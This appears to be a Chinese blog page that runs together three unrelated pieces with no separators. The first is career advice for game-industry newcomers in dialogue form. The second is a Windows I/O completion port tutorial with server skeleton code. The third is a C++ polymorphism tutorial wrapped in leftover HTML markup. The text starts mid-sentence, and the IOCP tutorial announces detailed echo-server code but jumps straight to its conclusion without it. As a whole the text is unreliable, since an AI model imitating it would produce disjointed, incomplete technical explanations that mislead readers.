组件是如何处理底层TCP/IP连接的。组件生产者关心的是实现细节--稳定性,效率,安全......至于你,就去关心企业业务流程好了,即使不明白什么是TCP/IP,什么是IPv6也没有关系。

在进入游戏业之前,以下的情况你了解么?
组织一个开发团队需要至少20人磨合6~8个月,而需要50个这样的团队才有可能产生一个世界级的制作人;
开发一个大型MMO需要3年或者更长时间;
游戏开发的核心人员与新手的薪资相差悬殊;
大型游戏的代码量往往在20万行以上,而策划文本则可能超过50万字;
制作人在MMO项目制作期内主持超过300次会议,并且累计收发5万余封的工作信件;
在我负责面试新手的过程中,只有不到20%的应聘者做好了准备,更多的人对游戏开发的了解仅限于想当然的程度,不少新人将游戏业想象成“好玩的工作”,只需要玩的技能就可以有前途的职业;有人认为自己对于游戏有很多“独特而伟大”的想法,更多人进入游戏业的最重要理由是“我从小就在玩FC”。错误估计从事游戏开发工作的难度和所需要的能力,对于一个新人,不仅仅是能否通过面试这么简单。有些人在工作中被淘汰,或者在频繁的跳槽中一无建树,其原因仅仅是:他没准备好。看看下面的对话,你准备好了么?

1
初学者问制作人:“我去面试策划的时候,提出了几十个从来没有人想到的创意,可是居然没有被录用,这是为什么呢?”
制作人笑了笑:“首先,从来没有人想到的创意是不存在的;其次,不能被执行的创意有更精确的词来表述——空谈。”

点评:在进行开发的过程中,必须考虑创意是否能够实现,或者实现的成本是否可以忍受。无法实现的创意就是不名一文的空想。而有些创意实现的成本远远超出可以忍受的范围。作为一个初学者,或许喜欢通过表现自己的崭新想法和创意来获得认同,但是,在有经验的人士看来,这些“伟大创意”往往是陈年旧话。所以在提出之前请先考虑:您的创意是否真的没有别人想到过?还是别人也想到了但是无法做到?为什么他们做不到?他们做不到的原因是否也会阻碍您创意的执行呢?

2
“制作人太固执了!”初学者抱怨道,“我就喜欢历史军事题材的游戏,可是MMO军事策略提案总是通不过!”
“你是否评估过成本?是否做过市场分析?是否调查过竞争对手?”产品经理一口气问了三个问题,而初学者频频摇头。
“那么先做这些吧!”产品经理挠了挠头,“另外,你熟悉的战役中,有哪个将军是根据个人喜好来决定战略的?”

点评:游戏本身是一种商品,游戏公司要赚钱如同将军要打胜仗。所以,没有一个成熟的制作人会忽视市场的调查分析。对于一个专业的制作者,市场的反映、玩家的调查比自己的个人喜好重要的多。专业制作者与业余选手的重要区别之一就是能否放弃个人喜好进行客观的分析问题。从个人喜好出发而决定游戏开发类型题材的制作者并非不存在,但他们要么是上世纪产业兴起之初的个人英雄,要么,这些玩票产生的产品都严重亏损,并且在上市后半年内逐渐被玩家遗忘。

3
初学者:“我玩游戏玩了10几年了,什么游戏我都玩过,所以我一定能做好游戏!”
产品经理:“我坐车有20几年了,什么型号的车我都做过,你说我是不是应该去做汽车设计?”

点评:产品经理的话一语中的,正如坐车甚至开车的人很难设计车辆、影评家未必能作导演一样。一个足够长的游戏龄只能使你在面试的考官获得非常有限的加分。考官会想:“哦,这个小伙子可能比不玩游戏的人知道的多一些。”但考官不会因此录用你,他还是一样需要考核你的专业能力和工作技能。游戏行业的公司,不管是开发、发行,还是运营和渠道,除了会玩游戏,了解游戏之外都需要更多针对性的技能,比如市场人员需要行销的技能,程序人员需要技术能力等等。认为只要游戏玩的好,什么都不用学习就可以进游戏公司是非常幼稚的想法(但是笔者发现,每3份应聘策划的简历中,至少有1位对此想法深信不疑的人)。而且,过渡沉迷于游戏的人缺乏自制力,很难在游戏开发工作中有突出的表现。

4
初学者:“我觉得策划的主要职责是哄着程序和美术干活,沟通好就可以了。”
产品经理:“那你认为你和其他几个策划该如何分工?你负责哄那个程序?你计划怎么哄?三陪?”

点评:又一个将策划工作想象的非常容易和轻松的初学者,类似的想法还有“策划其实就是文案”、“没必要写详细策划案,策划可以随时过去跟程序美术说怎么作”、“策划就是出主意的”……如此种种、不胜枚举。要知道,策划需要设计构建整个项目,控制,绝非简单工种。很多应聘者将策划想象成简单的工作其实是由于自己心里没底,对这些朋友,我的建议是尽快充电,提升自己,可以参看王世颖的《百日造就游戏制作人》。

5
初学者:你看,别人WOW做了5年,只要给我们足够的时间,我们就能超过他们,做出比他们更NB的大作。
产品经理:我实话告诉你,如果明年再不出东西,我们全家搬到你们家吃饭。

点评:类似以上的对话可能在每个公司都出现过。暴雪有足够的声望和实力,使他们可以说服投资人接受不断的延期和天文数字的开发费用。事实上,全世界有这种好运气的开发团队不超过10家。作为一个开发者,不能将项目做好的期望寄托到自己不能控制的因素上:如果咱们有“足够长的时间”、“很多资金用来雇宫本茅”、“世界一流的程序”,咱们就能……。谁都可以做梦,但是这种梦不是一个成熟的职业人该做的,有这种表现的新人往往对自己信心不足,很多时候还有推卸责任的目的。一个真实事件就是,我曾听到某家公司的美术抱怨自己公司的引擎只能支持2000面的人物,他们说“要是能买虚幻II引擎就好了,天堂2有4000面。”事实上,2000面的人物可以做的很好,他们根本没有努力,而他们的辛苦写引擎的程序同事却变成了游戏人物难看的替罪羊。

6
行政总监:“你要求的薪资是5000,作为一个刚毕业的新手,你如何评估你未来应得的薪水?”
应聘者:“我觉得要在北京生活好,衣食住行都算上至少要这个收入吧,而且我听说游戏行业工资就是高!”
行政总监:“……”

点评:游戏业的招聘启示中确实经常见到年薪20万的职位。而且很多报道中都极力渲染游戏行业的人才缺口。这给很多人造成一种游戏行业非常赚钱的感觉。实际上,有经验的人才确实非常抢手,可以拿到20万甚至40万的年薪,但是完全没有经验的新人,其薪资水准与一般IT行业相差不大。原因很简单,就是没有经验的新人很多,而有经验的高手太少。所以,对于现在还是新人的你,如果你确实决定要做游戏,那么最好的选择就是做好心理准备承受入行初期的低收入时期,逐步获得经验,提升能力,最后成长为有经验的高手。
另外,上文中的应聘者还有一个错误,他把自己的生活需求等同于自己应获得的回报,这对公司是不公平的,公司应该根据员工的贡献和能力给予员工应得的回报。

7
技术总监:“这么简单的界面bug你为何没有检查出来?”
程序初学者摇摇头:“我根本没检查。”
“为什么?!”技术总监生气了。
程序初学者困惑的看着技术总监:“如果我都检查了,要QA(质量监督部门,负责检查产品问题——作者注)干什么?”

点评:我个人认为,缺乏基本的对质量负责的态度,是目前游戏业从业者中广泛存在的问题。游戏开发是一个环节非常紧密的工作,一个人的工作完成后,会传递给下一个人进行继续的设计和加工。有的初学者没有检查自己工作的习惯,他们急匆匆做完就交给下个人,他们认为即使出现问题,下一个人也会发现并且返回来修正。这是非常危险的,一旦有错误未被发现而继续传递下去,最后的结果可能导致整个团队为了这些错误返工。我希望让初学者了解,一旦你的工作失误经常影响到与你配合的同事,那么就会使你在他们心目中的被打上不可信任或者粗心大意的标签,如果这个团队充满这种不可信任的人,那么项目就岌岌可危了。所以,在准备应聘之前先告诉你自己,你要对自己的所有工作负责。

8
技术总监:“指针非常重要,你必须搞明白才能完成下一个小游戏。”
程序初学者:“我现在没时间,我最近一直在研究多线程。”

点评:很明显,一个连指针都无法理解的程序,是很难真正搞懂多线程的。游戏开发与其他的学习一样,能力提升需要顺序渐进,没有根基的好高骛远对于个人和项目都只是浪费时间。这个浅显的道理似乎大家都很理解,但是上文中的例子却经常出现,那么只能说明很多人对自己的评价出现了问题。所以,当你认为自己已经足够强的时候,先考虑清楚,那些主管安排的初级工作,你真的已经做到最好了么?

9
应聘者:“我对D&D系统(即龙与地下城——作者注)进行了多年的研究,精通奇幻游戏设定。所以我认为我很适合这个职位。”
制作人:“在D&D设定里面,2D6是什么意思?”
应聘者出汗了:“这个……其实我主要了解D&D的各个游戏的背景。”
制作人:“异域中,印记城在整个多元宇宙中的什么位置?”
应聘者大汗:“异域我不在行,其实我主要是玩博德之门比较多,能问我个博德之门的问题么……”

点评:经过2次提问,我们很容易发现,其实这位应聘者根本没有看过龙与地下城的战役设定、玩家手册或者城主手册。他仅仅玩过使用D&D规则的一个PC游戏,就自称“精通”、“进行了多年的研究”。在考官看来,要么他是一个不诚实的人,要么就是一个非常容易自满的人,而这种人通过面试的机会自然微乎其微。为了增加应聘成功的机会,非常多的应聘者在简历中夸大自己的能力,有的人甚至在工作经历上作假,对于这种简历,大部分考官都会选择放弃。没有任何经验的新手可能有机会,但是撒谎的人就没有机会,保持诚信是非常重要的。

10
应聘者:“我有激情,我愿意为了游戏制作每天工作16个小时!”
行政经理:“很好,除了激情你还有别的么?”

点评:很多新人是由于非常喜欢游戏,非常想创造自己梦想中的游戏来进入这个行业的。在刚刚进入行业的时候,他们富有激情,能够忍受长时间的工作压力,并且把一切困难都视为对于自己的挑战。激情看上去是很好的兴奋剂,使得新手能够大踏步的进步,甚至有很多行业内的招聘者也喜欢招聘富于激情的新手,原因不仅仅是他们的上进心,还有他们更能忍受较低的薪水。
激情的最大问题在于,它只是一种短期的精神状态,不代表任何竞争中的优势,更不能取代实力、经验的重要性,也不存在任何的门槛——很显然的,任何一个应聘者都很容易将自己包装成一个“最富激情”的人。即使是发自内心的激情,也不很难维持很长的时间,在激情的“三分钟热血”过后,失落感很有可能影响到新人的工作状态。另外,激情容易使人丧失判断力,作出激进和冒险的动作。
所以,在激情之余,要理性的分析自己的优点、缺点和特长,然后再决定是否真的要进入这个行业。

上面的10段对话仅仅是作者见到新人心态不良的一小部分。不可否认,在面试和试用的过程中,任何新手都有犯错的可能,但是,多做准备可以让你增加成功的几率,在本文的最后,我列出应聘者可能会被考官Cut掉的部分表现,供各位参考:
伪造工作经历、学历,盗用他人作品,或简历叙述与能力严重不符;
拒绝进行笔试和上机考试;
对被应聘公司没有丝毫了解;
游戏制作工作想象的非常简单;
薪资要求远远超过能力水准,而且没有合理的解释;
无法说明之前工作的离职原因;
对自己的评价远远超出客观水平;
面试迟到或者等待考官时表现不佳;

欢迎阅读此篇IOCP教程。我将先给出IOCP的定义然后给出它的实现方法,最后剖析一个Echo程序来为您拨开IOCP的谜云,除去你心中对IOCP的烦恼。OK,但我不能保证你明白IOCP的一切,但我会尽我最大的努力。以下是我会在这篇文章中提到的相关技术:
  I/O端口
  同步/异步
  堵塞/非堵塞
  服务端/客户端
  多线程程序设计
  Winsock API 2.0

  在这之前,我曾经开发过一个项目,其中一块需要网络支持,当时还考虑到了代码的可移植性,只要使用select,connect,accept,listen,send还有recv,再加上几个#ifdef的封装以用来处理Winsock和BSD套接字[socket]中间的不兼容性,一个网络子系统只用了几个小时很少的代码就写出来了,至今还让我很回味。那以后很长时间也就没再碰了。

  前些日子,我们策划做一个网络游戏,我主动承担下网络这一块,想想这还不是小case,心里偷着乐啊。网络游戏好啊,网络游戏为成百上千的玩家提供了乐趣和令人着秘的游戏体验,他们在线上互相战斗或是加入队伍去战胜共同的敌人。我信心满满的准备开写我的网络,于是乎,发现过去的阻塞同步模式模式根本不能拿到一个巨量多玩家[MMP]的架构中去,直接被否定掉了。于是乎,就有了IOCP,如果能过很轻易而举的搞掂IOCP,也就不会有这篇教程了。下面请诸位跟随我进入正题。


什么是IOCP?
先让我们看看对IOCP的评价
I/O完成端口可能是Win32提供的最复杂的内核对象。
[Advanced Windows 3rd] Jeffrey Richter
这是[IOCP]实现高容量网络服务器的最佳方法。
[Windows Sockets2.0:Write Scalable Winsock Apps Using Completion Ports]
Microsoft Corporation
完成端口模型提供了最好的伸缩性。这个模型非常适用来处理数百乃至上千个套接字。
[Windows网络编程2nd] Anthony Jones & Jim Ohlund
I/O completion ports特别显得重要,因为它们是唯一适用于高负载服务器[必须同时维护许多连接线路]的一个技术。Completion ports利用一些线程,帮助平衡由I/O请求所引起的负载。这样的架构特别适合用在SMP系统中产生的”scalable”服务器。
[Win32多线程程序设计] Jim Beveridge & Robert Wiener


看来我们完全有理由相信IOCP是大型网络架构的首选。那IOCP到底是什么呢?

  微软在Winsock2中引入了IOCP这一概念 。IOCP全称I/O Completion Port,中文译为I/O完成端口。IOCP是一个异步I/O的API,它可以高效地将I/O事件通知给应用程序。与使用select()或是其它异步方法不同的是,一个套接字[socket]与一个完成端口关联了起来,然后就可继续进行正常的Winsock操作了。然而,当一个事件发生的时候,此完成端口就将被操作系统加入一个队列中。然后应用程序可以对核心层进行查询以得到此完成端口。

  这里我要对上面的一些概念略作补充,在解释[完成]两字之前,我想先简单的提一下同步和异步这两个概念,逻辑上来讲做完一件事后再去做另一件事就是同步,而同时一起做两件或两件以上事的话就是异步了。你也可以拿单线程和多线程来作比喻。但是我们一定要将同步和堵塞,异步和非堵塞区分开来,所谓的堵塞函数诸如accept(…),当调用此函数后,此时线程将挂起,直到操作系统来通知它,”HEY兄弟,有人连进来了”,那个挂起的线程将继续进行工作,也就符合”生产者-消费者”模型。堵塞和同步看上去有两分相似,但却是完全不同的概念。大家都知道I/O设备是个相对慢速的设备,不论打印机,调制解调器,甚至硬盘,与CPU相比都是奇慢无比的,坐下来等I/O的完成是一件不甚明智的事情,有时候数据的流动率非常惊人,把数据从你的文件服务器中以Ethernet速度搬走,其速度可能高达每秒一百万字节,如果你尝试从文件服务器中读取100KB,在用户的眼光来看几乎是瞬间完成,但是,要知道,你的线程执行这个命令,已经浪费了10个一百万次CPU周期。所以说,我们一般使用另一个线程来进行I/O。重叠IO[overlapped I/O]是Win32的一项技术,你可以要求操作系统为你传送数据,并且在传送完毕时通知你。这也就是[完成]的含义。这项技术使你的程序在I/O进行过程中仍然能够继续处理事务。事实上,操作系统内部正是以线程来完成overlapped I/O。你可以获得线程所有利益,而不需要付出什么痛苦的代价。

  完成端口中所谓的[端口]并不是我们在TCP/IP中所提到的端口,可以说是完全没有关系。我到现在也没想通一个I/O设备[I/O Device]和端口[IOCP中的Port]有什么关系。估计这个端口也迷惑了不少人。IOCP只不过是用来进行读写操作,和文件I/O倒是有些类似。既然是一个读写设备,我们所能要求它的只是在处理读与写上的高效。在文章的第三部分你会轻而易举的发现IOCP设计的真正用意。


IOCP和网络又有什么关系?

int main()
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    ListeningSocket = socket(AF_INET, SOCK_STREAM, 0);
   
bind(ListeningSocket, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr));
   
listen(ListeningSocket, 5);
   
int nlistenAddrLen = sizeof(ClientAddr);
   
while(TRUE)
   
{
       
NewConnection = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &nlistenAddrLen);
       
HANDLE hThread = CreateThread(NULL, 0, ThreadFunc, (void*) NewConnection, 0, &dwTreadId);
       
CloseHandle(hThread);
   
}
   
return 0;
}


  相信只要写过网络的朋友,应该对这样的结构在熟悉不过了。accept后线程被挂起,等待一个客户发出请求,而后创建新线程来处理请求。当新线程处理客户请求时,起初的线程循环回去等待另一个客户请求。处理客户请求的线程处理完毕后终结。

  在上述的并发模型中,对每个客户请求都创建了一个线程。其优点在于等待请求的线程只需做很少的工作。大多数时间中,该线程在休眠[因为recv处于堵塞状态]。

  但是当并发模型应用在服务器端[基于Windows NT],Windows NT小组注意到这些应用程序的性能没有预料的那么高。特别的,处理很多同时的客户请求意味着很多线程并发地运行在系统中。因为所有这些线程都是可运行的[没有被挂起和等待发生什么事],Microsoft意识到NT内核花费了太多的时间来转换运行线程的上下文[Context],线程就没有得到很多CPU时间来做它们的工作。

  大家可能也都感觉到并行模型的瓶颈在于它为每一个客户请求都创建了一个新线程。创建线程比起创建进程开销要小,但也远不是没有开销的。

  我们不妨设想一下:如果事先开好N个线程,让它们在那hold[堵塞],然后可以将所有用户的请求都投递到一个消息队列中去。然后那N个线程逐一从消息队列中去取出消息并加以处理。就可以避免针对每一个用户请求都开线程。不仅减少了线程的资源,也提高了线程的利用率。理论上很不错,你想我等泛泛之辈都能想出来的问题,Microsoft又怎会没有考虑到呢?!

  这个问题的解决方法就是一个称为I/O完成端口的内核对象,他首次在Windows NT3.5中被引入。

  其实我们上面的构想应该就差不多是IOCP的设计机理。其实说穿了IOCP不就是一个消息队列嘛!你说这和[端口]这两字有何联系。我的理解就是IOCP最多是应用程序和操作系统沟通的一个接口罢了。

  至于IOCP的具体设计那我也很难说得上来,毕竟我没看过实现的代码,但你完全可以进行模拟,只不过性能可能…,如果想深入理解IOCP, Jeffrey Ritchter的Advanced Windows 3rd其中第13章和第14张有很多宝贵的内容,你可以拿来窥视一下系统是如何完成这一切的。


实现方法

Microsoft为IOCP提供了相应的API函数,主要的就两个,我们逐一的来看一下:
HANDLE CreateIoCompletionPort (
   
HANDLE FileHandle,              // handle to file
   
HANDLE ExistingCompletionPort,  // handle to I/O completion port
    ULONG_PTR CompletionKey,       
// completion key
   
DWORD NumberOfConcurrentThreads // number of threads to execute concurrently
);


在讨论各参数之前,首先要注意该函数实际用于两个截然不同的目的:
1.用于创建一个完成端口对象
2.将一个句柄[HANDLE]和完成端口关联到一起

  在创建一个完成一个端口的时候,我们只需要填写一下NumberOfConcurrentThreads这个参数就可以了。它告诉系统一个完成端口上同时允许运行的线程最大数。在默认情况下,所开线程数和CPU数量相同,但经验给我们一个公式:
  线程数 = CPU数 * 2 + 2
要使完成端口有用,你必须把它同一个或多个设备相关联。这也是调用CreateIoCompletionPort完成的。你要向该函数传递一个已有的完成端口的句柄,我们既然要处理网络事件,那也就是将客户的socket作为HANDLE传进去。和一个完成键[对你有意义的一个32位值,也就是一个指针,操作系统并不关心你传什么]。每当你向端口关联一个设备时,系统向该完成端口的设备列表中加入一条信息纪录。

另一个API就是
BOOL GetQueuedCompletionStatus(
    HANDLE CompletionPort,       
// handle to completion port
    LPDWORD lpNumberOfBytes,     
// bytes transferred
   
PULONG_PTR lpCompletionKey,   // file completion key
   
LPOVERLAPPED *lpOverlapped,   // buffer
    DWORD dwMilliseconds        
// optional timeout value
);


第一个参数指出了线程要监视哪一个完成端口。很多服务应用程序只是使用一个I/O完成端口,所有的I/O请求完成以后的通知都将发给该端口。简单的说,GetQueuedCompletionStatus使调用线程挂起,直到指定的端口的I/O完成队列中出现了一项或直到超时。同I/O完成端口相关联的第3个数据结构是使线程得到完成I/O项中的信息:传输的字节数,完成键和OVERLAPPED结构的地址。该信息是通过传递给GetQueuedCompletionSatatus的lpdwNumberOfBytesTransferred,lpdwCompletionKey和lpOverlapped参数返回给线程的。

根据到目前为止已经讲到的东西,首先来构建一个frame。下面为您说明了如何使用完成端口来开发一个echo服务器。大致如下:
  1.初始化Winsock
  2.创建一个完成端口
  3.根据服务器线程数创建一定量的线程数
  4.准备好一个socket进行bind然后listen
  5.进入循环accept等待客户请求
  6.创建一个数据结构容纳socket和其他相关信息
  7.将连进来的socket同完成端口相关联
  8.投递一个准备接受的请求
以后就不断的重复5至8的过程
那好,我们用具体的代码来展示一下细节的操作。
至此文章也该告一段落了,我带着您做了一趟旋风般的旅游,游览了所谓的完成端口。

水是什么形状的?

乍一看这个问题似乎问得很没有道理,其实仔细想想,水正是自然界中“多态”的完美体现。不是么?用圆柱形容器装水,那么水就是圆柱形的;换用圆锥形容器盛之,水则又会成为圆锥形的了。在这个过程中,我们并不需要关心水是如何改变形状的,亦无需关心水在改变形状的过程中具体做了哪些事情;我们所要关心的,只是提供给它一个什么形状的容器,这就足够了。

OO(面向对象)中所谓的多态性,也正是这个道理。对于一个同名的方法(Water),我们在不同的情况(Container)下对其进行调用,那么它所完成的行为(Where_Am_I)也是不一样的。以下我将解说的,便是C++之中对于“多态”几种不同的实现形式。


函数的重载(Overload)

这儿是一个非常简单的函数max,它返回两个传入参数中较大的那一个。

<tbody>

    <tr>

        <td><code><font color=blue>int</font>&nbsp;max(&nbsp;<font color=blue>int</font>&nbsp;a,&nbsp;<font color=blue>int</font>&nbsp;b&nbsp;)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>if</font>&nbsp;(&nbsp;a&nbsp;&gt;&nbsp;b&nbsp;)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>return</font>&nbsp;a;<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>else</font><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>return</font>&nbsp;b;<br>}</code></td>

    </tr>

</tbody>

相信这段代码的具体内容不用我解释了,是的,这是一段非常基本的代码。你可能会发现,这个max函数只适用于int类型的参数。那么,如果我同时还需要一个针对double类型的max,又该怎么办呢?

所幸C++语言本身提供了这一功能,它允许我们在定义函数的时候使用相同的名称——是为函数的重载。也就是说,我们可以继续定义一个double版本的max:

<tbody>

    <tr>

        <td><code><font color=blue>double</font>&nbsp;max(&nbsp;<font color=blue>double</font>&nbsp;a,&nbsp;<font color=blue>double</font>&nbsp;b&nbsp;)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>if</font>&nbsp;(&nbsp;a&nbsp;&gt;&nbsp;b&nbsp;)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>return</font>&nbsp;a;<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>else</font><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>return</font>&nbsp;b;<br>}</code></td>

    </tr>

</tbody>

然后,在我们的代码中对这两个函数分别进行调用:

<tbody>

    <tr>

        <td><code><font color=blue>void</font>&nbsp;f(&nbsp;<font color=blue>void</font>&nbsp;)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>int</font>&nbsp;a&nbsp;=&nbsp;max(&nbsp;1,&nbsp;2&nbsp;);<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>double</font>&nbsp;b&nbsp;=&nbsp;max(&nbsp;1.5,&nbsp;2.5&nbsp;);<br>}</code></td>

    </tr>

</tbody>

这样一来,我们无需关心调用的是哪个版本的max,编译器会自动根据我们给定的参数类型(int或double)挑选出最适当的max函数来进行调用。


模板(Template)

首先在这里说句题外话:“模板”的“模”应该如何发音?我发现,身边大多数的朋友喜欢发音为“mó”——当然我以前也是这么发音的。后来使用拼音输入法输入这个词语的时候,我才发现“模”在“模板”中应该读“mú”。字典上对“mú”音的解释为:使材料压制或浇灌成一定形状的工具。参考模板本身的特点,我觉得大抵也正是应该取“mú”音为佳。但是“mú板”又远远不及“mó板”读起来顺口,所以后来我但凡遇到这个词,一概发音为“template”。
言归正传。函数的重载的确为我们提供了很大的方便,我们不需要关心调用哪个函数,编译器会根据我们给定的参数类型挑选出最适当的函数进行调用。但是对于下面的情况,函数的重载就不是很适用了:

    <li>函数体代码内容基本相同。
    
    <li>需要为多个类型编写同样功能的函数。 </li>
    

也就是说,我们也许需要更多版本(int、double,甚至更多自定义类型,如复数complex之类)的max,但是它们的代码却无一例外的都是:

<tbody>

    <tr>

        <td><code><font color=blue>if</font>&nbsp;(&nbsp;a&nbsp;&gt;&nbsp;b&nbsp;)<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>return</font>&nbsp;a;<br><font color=blue>else</font><br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>return</font>&nbsp;b;</code></td>

    </tr>

</tbody>

这样一来,我们需要做的事情就更倾向于一种体力劳动,而且,如是过多重复的工作也必然存在着错误的隐患。C++在这一方面,又为我们提供了一个解决方法,那就是模板。对于上面这众多版本且内容基本相同的max函数,我们只需要提供一个像下面这样函数模板即可:

<tbody>

    <tr>

        <td><code><font color=blue>template</font>&nbsp;&lt;&nbsp;<font color=blue>typename</font>&nbsp;T&nbsp;&gt;<br>T&nbsp;max(&nbsp;<font color=blue>const</font>&nbsp;T&amp;&nbsp;a,&nbsp;<font color=blue>const</font>&nbsp;T&amp;&nbsp;b&nbsp;)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>if</font>&nbsp;(&nbsp;a&nbsp;&gt;&nbsp;b&nbsp;)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>return</font>&nbsp;a;<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>else</font><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>return</font>&nbsp;b;<br>}</code></td>

    </tr>

</tbody>

template是C++的关键字,表示它以下的代码块将使用模板。尖括号里面的内容称为模板参数,表示其中的T将在下面的代码模板中作为一种确定的类型使用。参数之所以使用const引用的形式,是为了避免遇到类对象的时候不必要的传值开销。在这个模板定义完毕之后,我们就可以像这样使用了:

<tbody>

    <tr>

        <td><code><font color=blue>void</font>&nbsp;f(&nbsp;<font color=blue>void</font>&nbsp;)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>int</font>&nbsp;a&nbsp;=&nbsp;max&lt;&nbsp;<font color=blue>int</font>&nbsp;&gt;(&nbsp;1,&nbsp;2&nbsp;);<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>double</font>&nbsp;b&nbsp;=&nbsp;max&lt;&nbsp;<font color=blue>double</font>&nbsp;&gt;(&nbsp;1.5,&nbsp;2.5&nbsp;);<br>}</code></td>

    </tr>

</tbody>

对于这段代码,编译器会分别将int与double填充到函数模板中T所在的位置,也就是分别为max< int >和max< double >各自产生一份max函数的实体代码。这样一来,就达到了与函数重载一样的效果,但是程序员的工作量却是不可同日而语的。


虚函数(Virtual Function)

下面来以水为例,说说虚函数提供的多态表现形式。首先我们建立一个Water类,用来表示水。

<tbody>

    <tr>

        <td><code><font color=blue>class</font>&nbsp;Water<br>{<br><font color=blue>public</font>:<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>virtual</font>&nbsp;<font color=blue>void</font>&nbsp;Where_Am_I()&nbsp;=&nbsp;0;<br>};</code></td>

    </tr>

</tbody>

正如单独讨论水的形状没有意义一样,我们在这里当然也不能允许Water类的实例化,所以成员函数Where_Am_I被定义为了纯虚函数。下面,我们来分别定义水(Water)在瓶子(Bottle)、玻璃杯(Glass)以及湖泊(Lake)中的三种不同情况:

<tbody>

    <tr>

        <td><code><font color=blue>class</font>&nbsp;Water_In_Bottle&nbsp;:&nbsp;<font color=blue>public</font>&nbsp;Water<br>{<br><font color=blue>public</font>:<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>virtual</font>&nbsp;<font color=blue>void</font>&nbsp;Where_Am_I()<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;&lt;&lt;&nbsp;"Now&nbsp;I'm&nbsp;in&nbsp;a&nbsp;bottle."&nbsp;&lt;&lt;&nbsp;endl;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>};<br><br><font color=blue>class</font>&nbsp;Water_In_Glass&nbsp;:&nbsp;<font color=blue>public</font>&nbsp;Water<br>{<br><font color=blue>public</font>:<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>virtual</font>&nbsp;<font color=blue>void</font>&nbsp;Where_Am_I()<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;&lt;&lt;&nbsp;"Now&nbsp;I'm&nbsp;in&nbsp;a&nbsp;glass."&nbsp;&lt;&lt;&nbsp;endl;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>};<br><br><font color=blue>class</font>&nbsp;Water_In_Lake&nbsp;:&nbsp;<font color=blue>public</font>&nbsp;Water<br>{<br><font color=blue>public</font>:<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>virtual</font>&nbsp;<font color=blue>void</font>&nbsp;Where_Am_I()<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;cout&nbsp;&lt;&lt;&nbsp;"Now&nbsp;I'm&nbsp;in&nbsp;a&nbsp;lake."&nbsp;&lt;&lt;&nbsp;endl;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>};</code></td>

    </tr>

</tbody>

这三者分别实现了成员函数Where_Am_I。然后,多态性的实现就可以通过一个指向Water的指针来完成:

<tbody>

    <tr>

        <td><code><font color=blue>void</font>&nbsp;f(&nbsp;<font color=blue>void</font>&nbsp;)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;Water_In_Bottle&nbsp;a;<br>&nbsp;&nbsp;&nbsp;&nbsp;Water_In_Glass&nbsp;b;<br>&nbsp;&nbsp;&nbsp;&nbsp;Water_In_Lake&nbsp;c;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;Water&nbsp;*pWater[3];<br>&nbsp;&nbsp;&nbsp;&nbsp;pWater[0]&nbsp;=&nbsp;&amp;a;<br>&nbsp;&nbsp;&nbsp;&nbsp;pWater[1]&nbsp;=&nbsp;&amp;b;<br>&nbsp;&nbsp;&nbsp;&nbsp;pWater[2]&nbsp;=&nbsp;&amp;c;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=blue>for</font>&nbsp;(&nbsp;<font color=blue>int</font>&nbsp;i&nbsp;=&nbsp;0;&nbsp;i&nbsp;&lt;&nbsp;3;&nbsp;i++&nbsp;)<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;pWater[i]-&gt;Where_Am_I();<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br>}</code></td>

    </tr>

</tbody>

这样,程序的运行结果是:

Now I'm in a bottle.
Now I'm in a glass.
Now I'm in a lake.

好了,如你所见,我们并不需要关心pWater指向的是哪一种水,而只需要通过这个指针进行相同的调用工作,水本身就可以根据自身的所在来选择相应的行为。虚函数的多态性是非常有用的,尤其是在使用C++进行Windows程序设计的时候。考虑那些不同的窗口针对用户的相同行为而能够做出不同反应,也正是由于相应的消息响应虚函数的具体实现不同,方能达到这样的效果。

